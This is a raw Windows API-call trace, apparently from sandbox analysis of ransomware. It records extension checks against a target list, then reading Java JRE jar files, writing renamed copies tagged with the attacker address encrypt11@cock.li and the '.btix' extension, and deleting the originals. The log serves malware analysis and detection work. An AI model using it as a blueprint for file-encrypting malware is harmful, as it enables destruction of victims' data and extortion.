lstrlenW (lpString=".docx") returned 5 [0130.862] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0130.862] lstrlenW (lpString=".pdf") returned 4 [0130.862] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.862] lstrlenW (lpString=".xls") returned 4 [0130.862] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.862] lstrlenW (lpString=".xlsx") returned 5 [0130.862] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0130.862] lstrlenW (lpString=".ppt") returned 4 [0130.862] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.862] lstrlenW (lpString=".zip") returned 4 [0130.862] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.862] lstrlenW (lpString=".rar") returned 4 [0130.862] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.862] lstrlenW (lpString=".bz2") returned 4 [0130.862] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.862] lstrlenW (lpString=".7z") returned 3 [0130.862] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.862] lstrlenW (lpString=".dbf") returned 4 [0130.862] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.862] lstrlenW (lpString=".1cd") returned 4 [0130.862] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0130.862] lstrlenW (lpString=".jpg") returned 4 [0130.862] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.862] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.862] lstrlenW (lpString="sunec.jar") returned 9 [0130.863] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.867] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=42185) returned 1 [0130.867] CloseHandle (hObject=0x41c) returned 1 [0130.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0130.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.867] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.867] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.867] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.867] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.870] GetLastError () returned 0x0 [0130.870] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0130.896] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0130.898] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.898] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1 [0130.898] SetEndOfFile (hFile=0x4a4) returned 1 [0130.898] CloseHandle (hObject=0x4a4) returned 1 [0130.898] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.898] SetEndOfFile (hFile=0x41c) returned 1 [0130.901] CloseHandle (hObject=0x41c) returned 1 [0130.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.901] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0130.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.902] lstrlenW (lpString=".doc") returned 4 [0130.902] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.902] lstrlenW (lpString=".docx") returned 5 [0130.902] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0130.902] lstrlenW (lpString=".pdf") returned 4 [0130.902] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.902] lstrlenW (lpString=".xls") returned 4 [0130.902] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.902] lstrlenW (lpString=".xlsx") returned 5 [0130.902] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0130.902] lstrlenW (lpString=".ppt") returned 4 [0130.902] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.902] lstrlenW (lpString=".zip") returned 4 [0130.902] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.902] lstrlenW (lpString=".rar") returned 4 [0130.902] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.902] lstrlenW (lpString=".bz2") returned 4 [0130.902] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.902] lstrlenW (lpString=".7z") returned 3 [0130.902] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.902] lstrlenW (lpString=".dbf") returned 4 [0130.902] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.902] lstrlenW (lpString=".1cd") returned 4 [0130.902] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString=".jpg") returned 4 [0130.903] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString=".doc") returned 4 [0130.903] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.903] lstrlenW (lpString=".docx") returned 5 [0130.903] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0130.903] lstrlenW (lpString=".pdf") returned 4 [0130.903] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.903] lstrlenW (lpString=".xls") returned 4 [0130.903] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.903] lstrlenW (lpString=".xlsx") returned 5 [0130.903] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0130.903] lstrlenW (lpString=".ppt") returned 4 [0130.903] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString=".zip") returned 4 [0130.903] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.903] lstrlenW (lpString=".rar") returned 4 [0130.903] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.903] lstrlenW (lpString=".bz2") returned 4 [0130.903] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.903] lstrlenW (lpString=".7z") returned 3 [0130.903] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString=".dbf") returned 4 [0130.903] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString=".1cd") returned 4 [0130.903] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0130.903] lstrlenW (lpString=".jpg") returned 4 [0130.903] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.904] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.904] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0130.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.904] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=280161) returned 1 [0130.904] CloseHandle (hObject=0x41c) returned 1 [0130.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0130.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.905] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.905] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.905] GetLastError () returned 0x0 [0130.905] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x44661, lpOverlapped=0x0) returned 1 [0130.948] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x44670, lpOverlapped=0x0) returned 1 [0130.953] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.953] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xfa, lpOverlapped=0x0) returned 1 [0130.953] SetEndOfFile (hFile=0x4a4) returned 1 [0130.954] CloseHandle (hObject=0x4a4) returned 1 [0130.954] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.954] SetEndOfFile (hFile=0x41c) returned 1 [0130.964] CloseHandle (hObject=0x41c) returned 1 [0130.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.964] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0130.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.965] lstrlenW (lpString=".doc") returned 4 [0130.965] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.965] lstrlenW (lpString=".docx") returned 5 [0130.965] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0130.965] lstrlenW (lpString=".pdf") returned 4 [0130.965] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.965] lstrlenW (lpString=".xls") returned 4 [0130.965] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.965] lstrlenW (lpString=".xlsx") returned 5 [0130.965] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0130.965] lstrlenW (lpString=".ppt") returned 4 [0130.965] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.965] lstrlenW (lpString=".zip") returned 4 [0130.965] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.965] lstrlenW (lpString=".rar") returned 4 [0130.965] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.965] lstrlenW (lpString=".bz2") returned 4 [0130.965] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.965] lstrlenW (lpString=".7z") returned 3 [0130.965] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.965] lstrlenW (lpString=".dbf") returned 4 [0130.965] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.965] lstrlenW (lpString=".1cd") returned 4 [0130.965] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString=".jpg") returned 4 [0130.966] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString=".doc") returned 4 [0130.966] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.966] lstrlenW (lpString=".docx") returned 5 [0130.966] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0130.966] lstrlenW (lpString=".pdf") returned 4 [0130.966] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.966] lstrlenW (lpString=".xls") returned 4 [0130.966] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.966] lstrlenW (lpString=".xlsx") returned 5 [0130.966] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0130.966] lstrlenW (lpString=".ppt") returned 4 [0130.966] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString=".zip") returned 4 [0130.966] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.966] lstrlenW (lpString=".rar") returned 4 [0130.966] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.966] lstrlenW (lpString=".bz2") returned 4 [0130.966] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.966] lstrlenW (lpString=".7z") returned 3 [0130.966] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString=".dbf") returned 4 [0130.966] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString=".1cd") returned 4 [0130.966] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0130.966] lstrlenW (lpString=".jpg") returned 4 [0130.966] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.967] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.967] lstrlenW (lpString="sunmscapi.jar") returned 13 [0130.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.967] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=32699) returned 1 [0130.967] CloseHandle (hObject=0x41c) returned 1 [0130.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0130.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.968] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.968] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0131.177] GetLastError () returned 0x0 [0131.177] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0131.506] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0131.507] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.507] WriteFile (in: hFile=0x4a4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xee, lpOverlapped=0x0) returned 1 [0131.507] SetEndOfFile (hFile=0x4a4) returned 1 [0131.508] CloseHandle (hObject=0x4a4) returned 1 [0131.508] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.508] SetEndOfFile (hFile=0x41c) returned 1 [0131.526] CloseHandle (hObject=0x41c) returned 1 [0131.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.526] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0131.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.527] lstrlenW (lpString=".doc") returned 4 [0131.527] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.527] lstrlenW (lpString=".docx") returned 5 [0131.527] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0131.527] lstrlenW (lpString=".pdf") returned 4 [0131.527] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.527] lstrlenW (lpString=".xls") returned 4 [0131.527] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.527] lstrlenW (lpString=".xlsx") returned 5 [0131.527] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0131.527] lstrlenW (lpString=".ppt") returned 4 [0131.527] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.527] lstrlenW (lpString=".zip") returned 4 [0131.527] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.527] lstrlenW (lpString=".rar") returned 4 [0131.527] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.527] lstrlenW (lpString=".bz2") returned 4 [0131.527] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.527] lstrlenW (lpString=".7z") returned 3 [0131.527] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.527] lstrlenW (lpString=".dbf") returned 4 [0131.527] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.527] lstrlenW (lpString=".1cd") returned 4 [0131.527] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString=".jpg") returned 4 [0131.528] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString=".doc") returned 4 [0131.528] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.528] lstrlenW (lpString=".docx") returned 5 [0131.528] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0131.528] lstrlenW (lpString=".pdf") returned 4 [0131.528] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.528] lstrlenW (lpString=".xls") returned 4 [0131.528] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.528] lstrlenW (lpString=".xlsx") returned 5 [0131.528] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0131.528] lstrlenW (lpString=".ppt") returned 4 [0131.528] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString=".zip") returned 4 [0131.528] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.528] lstrlenW (lpString=".rar") returned 4 [0131.528] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.528] lstrlenW (lpString=".bz2") returned 4 [0131.528] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.528] lstrlenW (lpString=".7z") returned 3 [0131.528] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 